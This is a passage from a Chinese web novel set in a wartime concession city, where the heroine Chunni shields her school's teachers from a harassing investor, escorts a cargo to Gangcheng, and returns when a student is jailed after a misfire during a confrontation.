就曾在合约上规定得清清楚楚,无论哪一方卖股份,都要经过对方的同意,不准私底下转卖。但那时候高大海儿子都要给人杀了, 学校总不能死盯着这条条款不放,真眼看一条人命去死吧。 方校长说:“也是两件事都这么巧, 赶到一起去了。你前头转走帐上的钱,高大海后头就说要卖股份。你说,要是帐上留着哪怕一分钱, 我怎么说都会再买点股份回来。真是时也,命也。” 春妮没作声, 那个时候根本没有如果。即使她有信心能够搞好工厂,可有时候时局崩坏起来,不是个人能力能够解决。 战前海城那么多蒸蒸日上的民族企业, 说倒不也是一瞬间的事?以后的事,谁说得准? 就连先施这样日进斗金的大商场,还不是说毁就毁,差点被倭国人的战机炸成废墟? 换句话说,工厂的前途是未定的,可她手里的机油百分之一万是会涨的。即使当时让她再选一次,她毫无疑问,也会选择先囤货。 对校方来说,股权分散其实是好事。 但高大海给学校投资以来,从来不在工厂经营上多插一句话,有了困难去找他,他多半也会帮忙,完全是所有厂方梦寐以求的天使投资人。而且他在道上名声一直很好,由他拿着这一半股权,包括春妮在内都很放心。 现在新换的这三位投资人,其他两位不知道,那位赵发财赵老板见天就要来学校转一圈,对学校和工厂指指点点不消停。 这倒罢了,据几位老师反映,这几天,赵老板似乎盯上了学校里漂亮的女老师,每天不是请人吃饭,就是堵在人下班路上送花送朵惹人厌烦。 海城像他这样乍富起来,飘得不知道是谁的人很多,但这些人包戏子,养小星,至少知道在哪座山头唱哪首歌,人家可不会在学校胡来。这位赵老板得了点工厂股份,就像学校也成了他的后花园似的,虽然没有真的干点什么,但也太膈应人了。 师母在饭桌上说起这事,尤自气愤不平:“胡老师那么个小姑娘,他好意思凑到人面前,还想拉人家手,真不要脸。” 方校长瞟一眼春妮神色,拉她:“行了,别说了。怎么,吃饭堵不住你嘴?” 然而,下一刻,方大弟曝料道:“我昨天看见赵发财在后门拦大姐。” 方师母大惊失色:“大囡,你弟弟说得可是真的?” 桂香脸腾得红了,又羞又气,扭身道:“阿妈,你别问了。” 方校长气得拍筷子:“那混帐东西,我打死他!” 方师母急忙拦他:“他阿爹,你急什么,先坐下来问清楚。桂香你这孩子,昨天回来怎么不说?有没有吃亏?” 桂香哭道:“我哪好意思说,他,他——” 她这样欲说欲不说的,反而引得方家人更急,好不容易从桂香嘴里掏出实情,却是昨天桂香从国中放学,正好在后门撞到赵发财离开,拦着问了她是谁家的姑娘,名字是什么,多大了等等。这种话搁在其他人问也平常,只是他在学校名声太臭了,桂香一个小姑娘,被他拦在路上,还有这么多人看着,焉能不怕? 方师母宽慰道:“大囡不怕,天光下,那人不敢对你做什么。”又骂方大弟:“你昨天看见姐姐被那老瘪三拦着,就没上去帮她一把?” 方大弟委屈道:“我跑过去拦了啊——” “啪哒”,不知什么东西掉到了地上。 方家人扭过头,只见春妮正在弯腰,从地上拾起筷子。这会儿大伙才发现春妮坐在旁边,从头到尾都没说一句话。 这有点不像她。 “姐姐。”夏生觑着脸色,叫了她一声。 春妮慢条斯理地,拿帕子擦着筷子:“校长,新盖好的宿舍辟两间出来,让有需要的女老师们先住进去吧。” 方校长不 知怎么地,感觉有点凉嗖嗖的,下意识“哦”了一声。 等他反应过来春妮说了什么话,想要反驳时,却听她说:“不用做成套房,就跟宿舍一样,隔成小间,先统计有多少老师要住,再把房间划出来。你觉得如何?” 方校长顺着她的思路想了想:学校虽说扩建了不少,但女老师满打满算也才三十来个人。住宿舍的话,定要排除已婚女老师,那剩下的也才十几二十个。按学生床铺布置,最多只要两个房间,统共用不到二十个平方,还没有他专门给春妮两姐弟隔出来住的套房大。 这么算来,其实学校不用付出多少嘛! 甚至男老师那边也可以照此办理。 反正学生们住校之后需要人约束,这些未婚老师住进来,既解决了住宿问题,学生们也多了人监管,简直是一举多得。 为了只有春妮一个人搞特殊这事,不是没有人跟方校长闹,但春妮小小肩上担了多少事,没人比他更清楚。因而一向好说话的他怎么也不松口,还破天荒对来人发了几次脾气。但假如这样灵活变动一下,能够享受住宿优惠的老师多了,那小顾老师再住进来,也不那么扎眼了嘛。 去了这一桩心事,令方校长愁眉微展,可再看旁边垂泪的长女,他心头又漫上了一层阴翳。 正在这时,却听春妮执筷问道:“吃饭啊,都不吃吗?饭要冷了。” 方师母强打精神,笑了笑:“对,对,吃饭吃饭。大囡,有什么事,咱们吃了饭再说。” 吃了饭的确有事要说,不过是春妮问方校长:“舒老师目前在温南的事,我们学校有多少人知道?” “你,我,韩厂长,我们三个人。”尹老师也算一个,但尹老师自从上回送舒老师和机器去温南,就再也没回过学校,方校长也说不清他的行踪。 前几天春妮还特意向闻老板打听过尹老师,对方只是含糊告诉她,尹老师最近在忙别的事,可能有好一阵子没法回学校。 “没有其他人了?” “没有。如果非说有的话,那可能郑经理也会猜到一点吧。”方校长问她:“怎么想起来问这事了?” 春妮把胡老师告诉她的消息说了。 方校长惊道:“鲁师父从哪听说的?” 春妮摊了摊手。 方校长站起来:“不行,我得找韩厂长问问,看他是不是跟谁提起过这事。” 春妮忙道:“我跟你一起去。” 韩厂长跟韩师父两个人现在还住在学校门口的门卫室里,春妮他们去时,对方正在绕着教学楼绕弯子。 他是个急性子,听完就要去找鲁师父:“我去问他从哪听说的。” 方校长忙拉住他,道:“你急什么。”将他和春妮的顾虑说了。 韩厂长也冷静下来:“这事是我想简单了。要不我请韩师父去跟鲁师父先套套话?看他们是有意打听,还是我们谁不小心漏了风。” 同属于厂里的外聘技术人员,年龄又差不太远,鲁师父和韩师父算是厂里除了他亲自带的两个徒弟中走得比较近的人。 方校长转身向办公室走去。 “您去干嘛?” “我去检查一下办公室的文件,看有没有遗漏的地方。” “我也去。”春妮和韩厂长异口同声,又同时叹了口气:这个晚上,恐怕又要工作到很晚了。 这个晚上,方校长三人担心的事情暂且没有下文。第二天,老师们听说有学校宿舍可以住,顿时乐得像过年了一样。 有老师便发现,方校长的决定是春妮回来之后才做的,顺藤摸瓜猜出了真相。 春妮自然不会作那“深藏功与名”的侠客,大大方方承认了。老师们喜气洋洋,纷纷说要谢她大礼,便是那心有芥蒂的,也不好再说酸话。完了又催着泥瓦匠那边改造宿舍,忙活得不亦乐乎。 而春妮虽然分了房子,但水电都没通,只是砌了两道墙,充其量只能算毛胚,还要请师父刮腻子刷大白,等房子全干后住进去,少说也要小半个月。 她便从方校长那接了夏生,仍住在闸口路的石库门里,每天跟夏风萍一道上下班,等着易老板的船到海城,跟工厂正式签订合同。毕竟是第一批货,不能出岔子,她还得再亲自去一趟港城押船。 这回方校长无论如何也不许她孤身一人出行,春妮摸清路,心里有了底,没拒绝校长的好意。只是该带谁去海城,还在讨论当中。 方校长原还有些担心赵发财会继续骚扰学校的老师,但春妮每次放学后都会叫上所有女老师一起走。大约对方也听说过她名声,连着几天都没在她面前出现过。 在此期间,韩师父几回向鲁师父旁敲侧击,对方都没有表示出异样。甚至他提起舒老师,说如今也不知道他在哪,过得怎么样,鲁师父也只是配合韩师父长吁短叹一番,没有再说其他。 明明知道舒老师的下落,却装作不知道,看来,鲁师父的确是在隐瞒什么。 “要不,我找人打他一顿,看这老头子到底在作什么鬼?”韩厂长暴躁地在屋里走去走来。 方校长比较讲规矩:“这几个月鲁师父经常迟到,要不我明天把他辞了吧?”没一会儿又自己否定:“哎呀,也不知道他知道了多少,真辞了,万一惹急了他,出去乱说怎么办?” 春妮则冷笑一声:“不着急,狐狸吃了鸡,嘴里还会留味儿呢。我就不信,他们比狐狸还狡猾。等着吧,迟早会有人露出尾巴。” 第105章 105 千头万绪 方校长和韩厂长最终同意了春妮的话, 决定先按兵不动。但代价是,暂时切断跟温南的联系,直到找出给鲁师父传话的人。 经过韩师父的试探, 他们暂时不担心鲁师父会泄露舒老师的行踪。 正好他们在机器搬迁之前, 知道温南的工人暂时无法接续上任,在机器搬去温南之前,日夜赶工,抢先锯了不少竹子,还有一部分花高价找了木行外包,还有不少存货。新教学楼投入使用之后,学校以前用的大仓库早就做回来原来的仓库。现在又是淡季, 即使有东南亚那边的订单,也能支撑不短的时间。 一时不用担心供货问题, 才令春妮最终说服另外两个人。 安抚完方校长他们,春妮找来罗阿水,问了些学校最近的安全问题。 罗阿水果然也说起了赵发财:“这个人眼睛不老实,我担心他对老师们下手。” 春妮便将自己这两天的安排说了说, 道:“可能是有我看着,那人不敢来撩事。不过, 过几天我还得再去一趟港城,到时候学校的房子恐怕还没粉刷完毕,这段时间只能辛苦阿哥, 上学放学时帮着多看着点老师们,要是姓赵的敢来……他连我都不敢见, 你多带几个人,应该不会有事。” “行,到时候我派一队学生跟着护送老师, 就不信那老色胚敢当着这么多人面下手。”罗阿水性格烈,到学校后,老师们都很关照他。这些日子在学校里吃好喝好,他跟春妮一样,在心里已经将学校当成了自己的半个家。 因而,又听春妮说起鲁师父提起温南的事,他比春妮还急:“还有这事?”说着,脸上露出恍然之色:“上次严广福说,他在赌场里看见鲁师父,我骂他瞎胡说,难道说,他说的是真的?鲁师父会不会因为缺钱,在帮别人做事?” 罗阿水那段时间跟着严广福在赌场里转悠,见多了为了钱什么都肯干的人。 春妮先关注的却是其他问题:“你还在跟严广福来往?” “只是上回在学校见了一面,他非要拉我去喝酒。”罗阿水道:“校长这些日子盯他盯得紧,他又怕校长,每回校长骂他,总要找我去说情。就这,没别的关系了。” “死性不改,”春妮骂道:“这人没救了,校长这么操心他, 还要找机会去赌。” 顿了顿,她又问:“他上回在哪家赌场见到的鲁师父?” “我以为他在说胡话骗我,倒是没问,左不过就是这附近。对了,你还不知道吧,校长逼着他退了原先的房子,让他在学校附近住,隔三岔五就要去他家里突击检查。” “难怪我说这几天一到放学,就不见校长的人影。”春妮嘀咕一句,将另一只从港城买的勃朗宁掏出来,再给了他两匣子弹:“万国商团队那边提供的都是长|枪,不方便携带,这支枪阿哥留着防身。” “你呢?你有吗?”罗阿水没接。 “我有其他的。”她空间里来自未来的的武器都还在,弹药也能顶一阵子。上次是钱不够,这次去港城后,她打算如果碰到好一点的枪|械,再给自己添置一些。 不过,这一切都要等她卖掉一点路上搜集来的物资,先回个血再说了。 罗阿水也不跟她客气,接过枪别在腰上,问她道:“要不要我先找人调查一下鲁师父?” 春妮正有此意,问道:“你找的人可不可靠?” “放心吧,都是我们明州同乡。”罗阿水自信道:“他们办事很利落的,你等我好消息就是。” 春妮盯着他,忽然想起一事,问道:“阿水哥,你是不是入了青帮?” 海城的青帮子弟很多来自海城周边市镇,这些青帮人按地域又分为数个小团体。其中苏北帮和明州帮在青帮的势力最大。不过,包括明州商会在内的明州人在整个海城都很有存在感。 像罗阿水这样有正经职业,还有本事,最主要是在万国兵团登记造册的人物,必然也是在青帮拉拢范围之中。 “你想到哪里去了。”罗阿水脸上闪过一丝不自在:“你又不是不知道我,最不喜欢那些打打杀杀的事。我不过是新认识了一帮兄弟,那些人中,有几个是青帮的人。” “你明白就好。”春妮点到即止,又问起了万国商团,还有俘虏营的事。 万国商团倒是一切照旧,除了蔡队长日常嫌弃他们带的童子军破坏了他们团队的严肃性,再就是把着靶场刁难他们,不让他们跟其他成员有同样的训练时间之外,也没什么大不了的。 当然,这只是在春妮眼里没什么大不了——在她眼里,只要不死,就没有大事。 但因为万国商团老成员对学校护卫队的歧视,引得她的学生们个个憋足了劲儿,发誓要给老成员们一个好看,这些日子一有时间就往训练场里钻,疯了似地加练。 至于加练出了什么成果,短时间之内看不出来。罗阿水知道春妮事情多,也不打算跟她说这些闲话分心。 他只说俘虏营里,最近因为有他们学校包饭食,日子过得不错。只是凉席生意马上到了淡季,玩具厂的工人们都开始了半歇业状态,纵然校方想办法延长工期,但也不可能拖到十月份之后。俘虏营里没有了他们的照顾,恐怕又要回到原先的样子了。 对这一点,学校已经尽了力。春妮也没有别的好办法,见罗阿水神情落寞,陪他默默坐了一会儿,听他叹道:“白营长可惜了。一个冬天过去,不知道营里又要死多少人。” 白营长被捕之初,曾经被大肆报道过。作为华国知名人物,白营长的基本医疗可以保证,可那些跟着他一起撤下来的士兵得了病,就只能听天由命了。 以前还有同情他们遭遇的市民为他们送药送饭,自从租界被倭国人封锁,药品越来越珍贵之后,这条唯一能够获取药品的渠道也断了。 春妮问罗阿水:“彼得罗夫中队长还是那么难说话吗?” 彼得罗夫中队长正是俘虏营中负责看押白营长他们的白俄监狱长。 罗阿水点点头,又摇头:“他们对白营长的态度还是很差,倒是对我们还行。” 春妮一哂:“也不想想,我们给他们送了多少钱。那你说,我给他们送点药品,彼得罗夫会不会还拦着不放?” 罗阿水眼睛一亮:“可以试试。你这里都有什么药?前些日子入秋,营里有几个兵得了伤风,你有没有伤风药?” 在明州的大山里,春妮随身带着的那个装药材的包袱发挥了很大的作用,罗阿水对之记忆犹新。 我这里青霉素最多……虽说常文远临走前为防万一,作了那个安排,但大半年过去,她还没有收到对方的信号,她空间里的青霉素仍好好躺在里边,一支没少。 春妮默默盘点一遍,这次从温南回来前,她用闻老板付她的两百块弹药钱,在温南的药铺里又采购了一大批各种药材。治伤风的,治外伤,治拉肚子的,什么都有,她索性道:“正好现在有时间,我先跟你去一趟俘虏营看看再说。” 俘虏营在租界的边缘,春妮他们到时,白营长他们正做完最后一批凉席,帮着来运货的工人往外搬动。 学校外包给他们做的,是凉席的最后一个步骤——串竹片。 俘虏们排成长列,两人一组,有序地抬着一人多高的凉席往卡车上搬。 营地外面,寥寥几个白俄营兵闲散地站在门口和车子边。营房里头,是牌九清脆的撞击声和营兵们叽哩咕噜的俄国话。 这些白俄人生平一好酒,二好赌,虽然战斗力高,但纪律也让人头疼。即使英方三令五申,让他们对俘虏们严加看守,他们仍然找到机会就偷懒。 他们是有恃无恐,不怕白营长领着人逃跑,租界外头到处是倭国人,他们人生地不熟,已经被本国军队放弃,手上又没有武器,连基本的伪装都做不到,谁知道跑出去会发生什么事。还不如待在这里,至少这一刻是安稳的。 这些俘虏们也很清楚自己的处境,他们安静地搬完凉席,在营兵们的骂骂咧咧中返回了营地。 罗阿水上前,往其中一个营兵手里塞了些钱,指着为首的那个光头比划着说了几句话。那营兵咧开嘴,就站在门口笑着弹了弹手上的大洋,让开了路。 为首的光头顺着罗阿水手指的方向看到了春妮,冲她点头笑笑:“顾老师回来了?这次去外面,有什么新鲜事?” 这个唯一套着脚链,瘦得两颊凹陷下去的光头就是在海城无人不知的白云铠。 ………… 从俘虏营回来之后,趁易老板还没到海城的这点空闲时间,春妮初步打探了一下海城的汽车市场。 正如她预料的那样,随着欧洲战争传开消息,海城的洋货价格又迎来了新一轮的涨价。但打仗的只是德国和一个普通海城人叫不出名字的小国家,何况,这一年多以来,德国一直都在进攻这个占领那个,大家都没太当回事,直到英法两国宣战。 春妮去调查市场时,不到半个月,汽油价格较之前已经翻了两倍。机油没有汽油消耗量大,又不是日用品,涨价幅度比起石油,可以忽略不计。 但春妮知道,这只是开始。 倭国人虽然将汽车列为军管物资,海城原先的几家车行倒的倒,搬的搬,仅剩下的两家也只是苦苦支撑,或是转职作了汽修店,但海城路面上的汽车仍是玄学一般日复一日地增多,连得汽修店也多出了好几家。 机油用量小,现在市场上都有存货,春妮决定再捂一段时间。 回到学校的第六天,易老板的船队终于到了海城。 因为春妮原本只是去港城买车,包括找供应商和物流在内,都是临时决定。工厂接到消息时,所有库存原本已经出清七七八八,也需要时间赶工制作新的凉席。 易老板来到海城的时间刚刚好。 但易老板的到来,也意味着,春妮必须先抛下手里千头万绪的事务,再度踏上去港城的路。 第106章 106 大事 人的一生中, 要经历许多场离别,大家总有习惯的那一天。 这个夏天,春妮频繁地告别, 即使是夏生, 也已经不会再为姐姐时不时的离开而哭泣不舍。 方校长一家将他看顾得很好,他很早就学会了自己穿衣穿鞋,在校长家里有三个同龄人玩耍作伴,并不孤单。 春妮押着满满一船的货离开海城时,夏生蜷在被窝里睡得正香,靠门的书桌上,放着他昨天跟二丫才学会折的平安扣。 离开前, 春妮将它揣在了怀里。 方校长家里现在固定有夏生一个床位,昨天他在日历本上做好了记号, 等下次姐姐回到海城,姐弟俩就可以搬到新家里去了。 这次离开,春妮一共带了三个人走。 一个是李铁柱,这个小伙子被春妮从韩师父那里叫走时, 老头对她吹鼻子瞪眼的,嫌她用杂事妨碍了自己徒弟学艺。但李铁柱是学生中的领袖人物, 也是她看好的未来工厂的中坚力量,所以只能对不起老头儿了。 好在李铁柱对她一向服气,没怎么纠结就接受了她的安排。至于木雕手艺, 这一年他都在韩师父那打基础,拿块木头, 在哪都能练习。 另外一个是李德三。这小子守在春妮的夜班摊子上,这一年多来都没出过事,也是个深藏不露的人物, 还时不时能帮学校采购到又便宜又好吃的菜品。春妮深深觉得,让他耗在小摊子上浪费了人才,这次出来,索性把他也带了出来。 还有一个是罗阿水推荐的,学校护卫队的小伙子,叫区明。小伙子家里铁匠出身,长得一身好键子肉,站起来比李铁柱还高半个头。把他带出去,相当能唬人。 这三个人中,其他两个还好说。就是李德三,他一走,小摊的夜间生意就不得不收拢起来了。 倭国人放宽码头禁令之后,附近的人比以前多了许多。再加上各地想方设法涌进租界的难民,治安日渐堪忧。不是李德三这样的熟面孔,很难在这种地方吃得开。 为了上这班船,他交接班之后没有休息,抱着包袱便跟着春妮到了码头。 这会儿船只驶出吴江口,全力开动马达,甲板上的蒸汽烟囱白雾喷吐,三个小伙子全是头一回出海,看什么都新鲜,没过一会儿,全都兴奋得绕着大船来回跑圈嗷嗷叫。 春妮都不懂他们兴奋个什么劲。江浦码头上那些每天排队等待进关的蒸汽船不是船?看得还不够咋地? 还是那些那水手们见识多,笑道:“生瓜蛋子,刚到海第一天,看着天上地下敞亮,叫他在这上边呆满两个月试试。到时候给他块金子都留不住。” 不过,相比于回来时的波折不断,春妮的这趟押船足可称得上风平浪静,一帆风顺。 易家的船队分为短线,中线和长线三种路线。短线只是来往于羊城和港城之间,中线一般是到丰州,长线嘛,就是到海城了。 线路不同,船队靠港的地点也不同。因为路途遥远,海城他们一般一个月最多只来两趟,装哪家的货,在出发前就定好。为确保行程安全,如无意外,中途直接越过从粤西到海西和温南这段最危险的航程,只在羊城和丰州各停靠一次,其后便直入港城。 为了这次的远航,蒸汽船轻装简行,去掉了拖在后边的驳船,再开足两千马力。三个男孩子出发之前,不知道该说是期待,还是恐惧的海匪们几乎没有几个追得上这样全力航行的大船。 只有一回在治平的时候,船被人拦了下来。老水头在船头上跟对面的人对了几句切口,他们便让开了路,直接坠在后边,跟到丰州,看见大船入港,才调转船头离开。 老水头说,他们大东家跟对面的谈好过交易,要保他们这段路的安全。 路过治平之后,也有几条船远远坠着大船跟过他们,易老板让管事的点了几个炮仗扔出去,就把人吓跑了。 这些连家伙都不敢亮的小蟊贼让三个男孩子们大呼不过瘾,转而又兴致盎然地缠着爱讲古的老水手们说了不少故事。 在蔚蓝色的大海中航行到第七天,大船于当天傍晚抵达了港城的格罗妮海港。 码头边蒸汽如烟柱般吞吐,大小船只错落有序地穿梭来回,不论日夜,永远一片繁忙。这个时代还没有机械吊臂和集装箱,打着赤膊的力夫们如工蚁般在大船中出进,嘴里时不时吆喝着听不懂的调子。 格罗妮海港是英国人在港城主持修建的第一座深水海港,这里背靠华国海疆,地势优越,又经过七八十年的发展,这座优质海港码头岸边已经初具世界大港的风范。 再远一点的军用港口,穿着白色水手服的英国士兵们排成一条白线,登上了漆着蓝白条纹的巨型军舰。 现在港城的英方政府有不少华国人雇员,但像海关这样油水丰足的冲关要地还是以英国人为主。 因为这次乘坐的是货运蒸汽船,在船只进港前需要进行入关检验,在他们之前,已经排了有七八条船。易老板告诉春妮,英国人办事的效率很低,他们至少还要等一夜,才轮得上检验入港。因而建议她先去住处休息一晚,明天一早再来港口跟他们交接。 尽管已经有了好几次的航行经验,这七天的航行,仍是不能让春妮像老水手那样,在船上得到很好的休息。她欣然接受了易老板的建议,将三人中最机灵的李德三留下来,带着另外两个小伙子从绳梯上下来,坐上大船边招揽客人的小舢板,再一次登上了港城的陆地。 下船之前,那艘半公里外的白色巨兽发出了震天的轰鸣声,开始缓缓离港。 “哇,维多妮号也开动了,它不是昨天前才进港?这么快完成了补给?不修整了吗?” “莫非这些英国佬是要回本土打仗了?”春妮身边,两个港府本地人指着远去的军舰小声猜测。 她紧了紧身上的包袱,最后看了一眼海天边缘上的那轮巨船,转身汇入滚滚人流之中。 两个小伙子都是第一次走得这么远,表现得比春妮兴奋多了,他们左顾右盼,看什么都没够,没一会儿就发现了站在货港外面举着木牌张望的王国柱。 王国柱在他们出发之前得到过春妮的通知,生怕错过他们,这几天天天在港城的码头上等候,接到他们后,将几人带去了自己租的住处。 春妮这回不办招商会,用不着摆排场。正好学校聘用王国柱留在港城当办事处联络员,给他拨了一点活动资金,他用学校邮来的钱在格罗妮海港不远处的丰海大厦租了间办公室。 工厂的港城办事处处于草创之初,连电话线都没拉,直到接到春妮四个人和这批货物,才算开始正式运行。 之前王国柱一个人在这间办公室里,既是老板又是员工,便将这间小办公室隔开,里边自己住,外边摆了几张从旧货市场收来的办公桌,看上去倒有点模样。 再次看见春妮,他很高兴,说明他这个港城联络员用得上,能够拿到一份饿不死的薪水,还不用跟其他人一样朝九晚五地坐班,更不用随时担心会被丢在港城无依无靠。因而,招呼众人放下行李后,他很热情地要请大伙去吃粤式大餐。 但数天的航行让大家的精力都到了极限,最后几个人只是在楼下的茶餐厅订了几道菜送上来,草草用过饭之后,春妮住了王国柱的房间,几个男孩子拼起桌子,在外边的办公室凑和了一宿。 不是春妮想这么节俭,而是这一次方校长知道港城有了据点,精打细算的本性冒头,让他们像学校刚成立时那样,收拾收拾住办公室。要是他们有谁受不了,住旅馆也行, 他反正只出来回船票钱。 短暂地回了一趟海城,春妮只来得及卖出一些从温南采购的药材,就不得不又匆忙踏上了到港城的路。她手上留的这点资金还想着趁在港城的这点时间,看能不能再收点货回海城贩卖,哪里舍得多花一笔钱去住旅馆? 春妮胡说八道了那一回,现在算是偿债,不好意思跟方校长讨价还价,只好厚着脸将王国柱的窝给占了。 除了住得不太爽快,手头钱太少,买不到春妮想买的军火之外,这次港城行什么都很顺利。因为钱不多,三虎地和骆驼城去不了,她只能到商场寻机倒卖香水和化妆品。尽管她没要多少,姚根发为了跟她的长期合作,也保质保量地给她弄来了。 春妮在港城敲定的东南亚供应商在第二天得到竹凉席到港的消息后,都没用她请物流公司,在码头上就将一船的货物给瓜分完毕了。 这几名供应商都是春妮综合考验过,确定他们的资金流没有问题,还押了一笔保证金才选定。接下来几天,几方除了对商品的品质和尾款支付的方式有点不同意见,其他的都很顺利。 在此期间,考虑到她可能不会经常在两地奔波,春妮将三个小伙子带着在港城转一圈,考察了一下港城周边的环境,把销售商和负责凉席港城独家销售的先施负责人曲经理都认识了一遍,便让王国柱给他们订回海城的票,准备打道回府。 港城这里目前需要处理的业务不多,只用王国柱一个人就能顶住。随着以后业务的拓展和复杂化,肯定需要加派人手,但那都是很远以后会考虑的事了。至少,在淡季即将到来的当下,王国柱完全够用。 来时因为要运货,春妮他们坐的是货船。回去时一身轻松,自然不用这么辛苦,王国柱给他们三个人订了江南轮船公司的客运票。 江南轮船公司原先是华国政府跟江致清官私合办的公司,他们开发的海港船运专线也是很成熟的航线,速度仅比太古慢一点。从港城上船,一般需要三天才可以到海城。 然而,就在一切准备停当,临离开前的头一天晚上,邮局送来了来自海城的急电。 春妮必须改签太古的特快专轮,尽快赶回海城,去帮忙处理一件办校以来从未有过的大事。 第107章 107 真相 太古的特快专轮七天一发, 票并不好买。 为了尽快赶回海城,王国柱辗转托黄牛高价为春妮买来了太古一张三等舱的船票,让她先一步出发。至于那张原先买好的船票, 这个年代, 不兴退票。她只能也去找黄牛,能卖则卖,不能卖只能算了。 因为春妮他们从江南轮船公司订票的当天,远在海城的江浦学校发生了一桩刑事案件,这是办校以来从未有过的事。 这么说有点奇怪,现在的海城,无时不刻都在发生刑事案件, 尤其是码头这种地方。但真正闹到巡捕房,加害人让巡捕给抓起来的, 十中无一。 何况,这桩刑事案件的苦主赵发财,他只是折断了鼻梁骨。 前面几天通话不方便,春妮直到三天后赶回海城, 才得知事情的全貌。 春妮离开学校之后,赵发财不知从哪得知消息, 又开始领着他那帮狗腿子,有空就在学校里外转悠。因为春妮离开前跟罗阿水谈过这个问题,这几天他加强了学校的防卫。不光是老师, 女学生们进出学校也会安排人陪送一段路程。 赵发财在学校外头转悠了好几天,也没找到空子钻, 还让一位剽悍的女老师抓住咸猪手扇了他两巴掌。可能是觉得被女人打这事太丢脸,之后他又消失了好几天。大伙原以为他碰了一鼻子灰,怎么也要消停一段日子, 然而,就在几天前,学校闯进来几名巡捕,抓走了一名叫张乾坤的男生,说有人告他人身伤害,抓他进了巡捕房。 当时巡警抓人时,全校正在上课,张乾坤众目睽睽之下被人用手铐带走,抓人的巡捕又没说清他犯了什么事,学生们以为是巡捕房来借抓捕“抗倭分子”的名义,讹人讹到学校去了,几个跟张乾坤交好的学生拦住巡捕不让他们顺利离开,情急之下还引起了肢体冲突。如果不是巡捕旁边跟着罗阿水,他弹压得及时,说不定一场骚乱将会就此引发。 从年初开始,英方就答应过倭方,会配合他们抓捕抗倭志士,其后在租界里掀起了数轮浩浩荡荡的抓捕行动,的确关了不少人进去。 可能那些被抓的人中有一些是说不清楚来历,但更多的人完全是遭了池鱼之殃。查清事实,巡捕房解除羁押之前,这些倒霉鬼不得不支付一笔数额高昂的保释金才能被放出来。而他们什么时候被放出来,取决于保释金的数额大小和交纳时间。 巡捕们恼羞成怒,有两个学生被其以“抗倭分子”的名义抓起来,跟张乾坤一道被投进了巡捕房大牢。 以上就是春妮从来接她的学生口中了解到的全部真相。 至于张乾坤被抓的原因,他们之后也弄清楚了。 张乾坤说,他在放学路上看见赵发财在骚扰一名叫黄丽花的女学生,一时义愤,打了他一拳,将黄丽花从赵发财手中救了下来。 原本张乾坤出于防卫目的打伤了赵发财,这事就算赵发财告到工部局司法处,也不可能将张乾坤定罪。但张乾坤是学校护卫队在万国商团登记在册的成员,事发当天,他腰里边着一支商团配发的驳壳枪,争执当中,那把枪不知怎么回事走了火,将赵发财身边一个保镖打成了重伤。 持械伤人跟正当防卫是两回事。 张乾坤对枪怎么走的火,一直说不清楚,赵发财那边则一口咬定,是他开的枪。而且在张乾坤说出事实,同学们想找黄丽花来作证,才发现她从那天起就没来上学了。 包括她的家人在内,没人能说得清楚她去了哪。 事到如今,事实如何已经不重要。 现在赵发财仗着张乾坤失去了唯一的目击证人,放话出来说,要让这个还不到十六岁的少年蹲一辈子大牢赔命。 随后,他又说自己被打得内出血,需要卧床静养,在找法医,说是要出具重伤鉴定。 春妮回来前,他正折腾着让人传话,说他受了伤,家里没有女主人伺候,点名要胡老师去伺候他茶水。 据说巡捕房的警长跟赵发财关系也不错,张乾坤和两名同学被分别关押,在牢房里受到几个狱友的重点关照,去探望过他们的同学回来说,三个人这几天被折磨得非常憔悴,两名学生甚至遭受到了刑讯。 在柯莱恩处长针对学校那会儿,春妮曾有幸进过巡捕房的监狱游览。但她本人能打,没人能真的让她吃亏,校方又很快为她请来了律师保驾护航,关键是,柯莱恩那时候焦头烂额,顾不上整她,她才没吃什么苦头就被放了出来。 张乾坤和他的两个同学跟春妮不一样,春妮从始至终没有承认过她对查理家有任何不法行为,巡捕房怎么都抓不住她的痛脚,才让她几进几出都毫发无损。 张乾坤被抓之初,他自认为自己做的事没有不对,不用审问,就交代了事发时所有的细节,唯一没想到,证人缺位。那两位被连累的同学虽然是莫须有的罪名,但“抗倭份子”这个罪名可虚可实,主动权掌握在巡捕房手中,端看他们想做到哪一步。惹急了他们,完全可以把人交到倭国人手中,倭国人对“抗倭份子”可从来不会手软。 昨天天,张乾坤的家里人听了赵发财的混帐话,生怕他被法医鉴订出个重伤,让自己儿子蹲一辈子大牢,竟找到学校来,在校门口跟胡老师下跪,求她救救自己儿子。他们不敢说让她去伺候赵发财的混帐话,只苦求她去跟赵发财说说好话。 众目睽睽之下,学校的年轻女老师跟一个中老年奸商扯上关系,如果搁在二十年前,胡老师就没有了活路。即使现在,她的名字在街头巷尾那些长舌妇嘴里传来传去,名声也毁了一半。 校长只好放了胡老师的长假。 这时已经到了晚上,学校放了学,幸好方校长跟韩厂长他们还留在办公室开会,春妮正好赶上。 方校长忧虑地说:“去年城西的一处夜校,就是被以窝藏抗倭分子的名义给强行关停的。他们会不会——” “那都 是以后的事了,现在还是先想想清楚,怎么把人救出来吧。”经过全体老师投票表决,王老师在这个学期成为了学校新鲜上任的教导主任。春妮回来后,她也被方校长拉进来,跟韩厂长一起开了这个碰头会。 “只要他们舍得,”韩厂长道:“这一年以来,我们往工部局交了多少税,喂了多少张嘴。我们的工人可都是从学校来的,学校没了,厂子还怎么开?” “符律师怎么说?”刚刚下船,春妮的头一跳一跳地疼。 “他和郑经理今天去了巡捕房跟巡长谈判,让我们准备好保释金捞人。”方校长期待地看向春妮:“港城那边的货款什么时候会到?” “我回来前,光亚的钱已经通过汇丰汇了过来。”光亚是工厂在泰国的代理商。 “哦,那就是马上就要到了啊。”方校长松了一口气,吩咐王老师:“你明天一早去银行看看,要是到了的话,赶紧提出来准备着。” 这几个学生家里都没钱,要是学校再不帮忙,就真的折在里面了。 正常情况,只要有保释金拿,巡捕房就不会多事。毕竟牢房空间有限,把旧的放出去,才有空位抓新的嘛。 几名老师知道马上会有钱到帐,都认为救出其他两名学生的希望很大,就转而讨论起了张乾坤的事。 他的麻烦在于赵发财死咬着不放,按春妮的想法,就是偷偷把这人找出来,套麻袋再揍一顿。他现在敢这么狂,无非是因为没真正吃到苦头。 可韩厂长说,大概赵发财上回挨过揍,这次学聪明了。这几天,他很少再出门乱逛,而且走到哪都会带保镖,想下手很难。 有空间一些物资作后盾,这点问题在春妮手上其实一点也不难。但她从听到这件事完整的经过之后,就觉得这件事有一种说不出来的怪异感。 这种怪异感在符律师打电话告诉他们,英国人坚持认为那两名学生抗倭嫌疑巨大,不答应接受保释放人后,愈加强烈。 